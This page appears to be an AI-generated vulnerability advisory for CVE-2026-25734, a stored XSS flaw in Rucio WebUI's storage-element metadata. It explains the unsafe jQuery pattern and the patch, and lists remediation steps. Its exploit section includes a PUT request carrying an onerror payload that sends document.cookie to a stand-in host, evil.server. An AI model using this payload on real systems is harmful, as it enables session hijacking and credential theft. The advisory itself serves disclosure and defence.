CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25734

Science vs. Scripting: Stored XSS in Rucio WebUI

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·51 visits

Executive Summary (TL;DR)

Stored XSS in Rucio WebUI via RSE metadata fields (City, Country, ISP). Unsafe jQuery usage allowed arbitrary HTML injection. Fixed in versions 35.8.3, 38.5.4, and 39.3.1.

Rucio, the data management titan used by CERN and other scientific behemoths, suffered from a classic web vulnerability: Stored Cross-Site Scripting (XSS). Buried within the Rucio Storage Element (RSE) metadata handling, the WebUI blindly trusted backend data, rendering it directly into the DOM via unsafe jQuery methods. This allows an attacker with RSE configuration privileges to plant malicious JavaScript payloads that execute in the browser of any administrator viewing the storage details, leading to session hijacking and potential compromise of massive scientific datasets.

The Hook: Big Data, Big Targets

Rucio isn't your average CRUD app. It is the backbone of scientific data management, originally built for the ATLAS experiment at CERN. We are talking about exabytes of data, grid computing, and the kind of infrastructure that helps discover the Higgs boson. When you manage that level of data, integrity is paramount. If I can mess with the data management layer, I can potentially corrupt scientific results or hold petabytes of research for ransom.

The vulnerability lies in the Rucio WebUI. While the backend is a complex beast of Python and databases, the frontend is... well, it's a web app. And like many web apps born in a specific era, it relies heavily on jQuery. The specific target here is the Rucio Storage Element (RSE) management interface. RSEs are the actual storage locations (disks, tapes) where data lives. Administrators configure these with metadata: location, ISP, country, etc. It sounds boring, but to a hacker, "metadata" is just a synonym for "untrusted input vector."

The Flaw: Trusting the jQuery Append

The root cause of CVE-2026-25734 is a tale as old as the modern web: Unsafe Sinks. The developers fell into the trap of convenience. When fetching RSE details from the backend, the WebUI needs to display them in a nice table. The logical, safe way to do this is to create a text node and insert it.

The fast way to do it—and the wrong way—is string concatenation passed to jQuery's .append() or .html().

In the vulnerable versions of rses.js, rse.js, and account.js, the code looked something like this:

// pseudo-code of the vulnerability
$('#t_metadata').append($('<tr><th>' + key + '</th><td>' + data[key] + '</td></tr>'));

See the issue? data[key] comes from the database. If I set the RSE's "City" to Geneva, it renders <td>Geneva</td>. But if I set the City to <img src=x onerror=alert(1)>, jQuery doesn't just treat that as text. It sees HTML tags, parses them, and executes them. This converts a simple data display field into a remote code execution launchpad within the administrator's browser.

The Code: Before and After

Let's look at the actual remediation to understand the mechanics. The fix wasn't about adding a WAF or sanitizing input on the backend (though you should do that too); it was about context-aware output encoding.

The Vulnerable Pattern: The code was taking raw strings and forcing the browser to interpret them as HTML.

// Vulnerable: concatenation leads to HTML parsing
$('table').append('<tr><td>' + userInput + '</td></tr>');

The Fix (v39.3.1): The patch moves to programmatic DOM construction. Instead of building a string, we build elements.

// Fixed: .text() encodes HTML entities automatically
var row = $('<tr>');
var cell = $('<td>').text(userInput); // <script> becomes &lt;script&gt;
row.append(cell);
$('table').append(row);

In some places where DataTables were used, they had to use a specific idiom to sanitize the data before passing it to the grid:

// Sanitizing for DataTables
$('<div>').text(val).html();

This creates a temporary div, sets the text content (encoding it), and then grabs the html of that div (returning the encoded string). It's a bit hacky, but it works effectively to neutralize XSS payloads before the table renders them.

The Exploit: Stealing the Keys to the Collider

How does an attacker weaponize this? We need two things: Input and Execution.

Step 1: The Setup (Input) The attacker needs privileges to modify RSE metadata. This usually requires RSE Admin privileges. While this is a high-privilege requirement, in large scientific collaborations, "RSE Admin" might be a university sysadmin, not the central Rucio super-admin. If an attacker compromises a university node, they can pivot.

They send a PUT request to the Rucio API:

PUT /rses/CERN-PROD/attr HTTP/1.1
Host: rucio-server
Content-Type: application/json
 
{
  "ISP": "<img src=x onerror=fetch('https://evil.server/log?c='+btoa(document.cookie)) />"
}

Step 2: The Trap (Storage) The backend dutifully saves this string. It doesn't care that the ISP name looks like an HTML tag.

Step 3: The Trigger (Execution) A central Rucio operator (Super Admin) logs into the WebUI to troubleshoot a transfer issue at CERN-PROD. They navigate to the RSE details page. The JavaScript fetches the metadata and passes it to .append().

Step 4: The Impact The browser renders the <img> tag. The image source x fails to load. The onerror event fires. The malicious JavaScript executes.

> [!WARNING] > Critical Failure: The research indicates that Rucio session cookies lacked the HttpOnly flag (CWE-1004). This means document.cookie is fully accessible to JavaScript. The attacker instantly gets the Super Admin's session ID.

The Impact: Why Panic?

This isn't just about defacing a dashboard. The combination of Stored XSS and missing HttpOnly flags is catastrophic.

  1. Session Hijacking: The attacker steals the session token and impersonates the Super Admin.
  2. API Token Theft: Rucio WebUI often stores API tokens in global JavaScript variables (e.g., var token = ...). XSS allows reading these variables directly from memory.
  3. Wormability: The attacker (now masquerading as Super Admin) could potentially use the XSS execution to automatically script updates to other RSEs, injecting the same payload everywhere, effectively creating a self-propagating worm within the Rucio infrastructure.

Once they are Super Admin, they can delete replicas, corrupt datasets, or disrupt data transfers across the entire grid.

The Fix: Remediation

If you are running Rucio, check your version immediately. You are vulnerable if you are on any version prior to 35.8.3, between 36.0.0rc1 and 38.5.4, or between 39.0.0rc1 and 39.3.1.

Immediate Actions:

  1. Upgrade: Update to a patched release (e.g., 39.3.1).
  2. Sanitize DB: If you suspect compromise, audit your rse_attr table in the database for strings containing <, >, or script.
  3. WAF: Implement WAF rules to block HTML tags in JSON payloads destined for /rses/*/attr endpoints.

Developer Takeaway: Never, ever use innerHTML or jQuery's .append(string) with untrusted data. It doesn't matter if the data comes from your own database—if a user put it there, it's untrusted. Use .innerText or .text().

Official Patches

RucioRucio v39.3.1 Release Notes containing security fixes

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N

Affected Systems

Rucio WebUIRucio Storage Element (RSE) Management

Affected Versions Detail

Product
Affected Versions
Fixed Version
Rucio
Rucio
< 35.8.335.8.3
Rucio
Rucio
>= 36.0.0rc1, < 38.5.438.5.4
Rucio
Rucio
>= 39.0.0rc1, < 39.3.139.3.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score6.1
Privileges RequiredHigh (RSE Admin)
User InteractionRequired (Victim must view page)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Internal ResearchThe advisory details how RSE metadata fields are vulnerable to injection.

Vulnerability Timeline

Fix committed to replace unsafe jQuery usage
2026-02-05
CVE Published and Advisory Released
2026-02-25
Patched versions 35.8.3, 38.5.4, 39.3.1 released
2026-02-25

References & Sources

  • [1]GHSA-h9fp-p2p9-873q: Stored XSS in RSE Metadata
  • [2]NVD - CVE-2026-25734

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2026-14669
8.8

CVE-2026-14669: PostgreSQL to_char() Timezone Abbreviation Heap-Based Buffer Overflow

CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.

Alon Barad
Alon Barad
3 views•6 min read
•2 days ago•CVE-2026-63462
7.5

CVE-2026-63462: Unauthenticated Stack Overflow Denial of Service in Unleash Server

An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.

Alon Barad
Alon Barad
11 views•6 min read
•2 days ago•CVE-2026-63004
5.5

CVE-2026-63004: Server-Side Request Forgery in Unleash Addon and Integration Subsystem

CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.

Amit Schendel
Amit Schendel
8 views•8 min read
•2 days ago•CVE-2026-63466
4.1

CVE-2026-63466: Process-Wide Security Degradation via Global Module Mutation in Unleash

Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.

Alon Barad
Alon Barad
3 views•6 min read
•2 days ago•CVE-2026-76904
9.8

CVE-2026-76904: Unauthenticated SQL Injection in GeoTools PostGIS DataStore Component

A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.

Alon Barad
Alon Barad
14 views•5 min read
•2 days ago•CVE-2026-61824
8.2

CVE-2026-61824: High-Severity Cross-Site Scripting (XSS) via Unsanitized Site Extractors in Defuddle

CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.

Amit Schendel
Amit Schendel
7 views•7 min read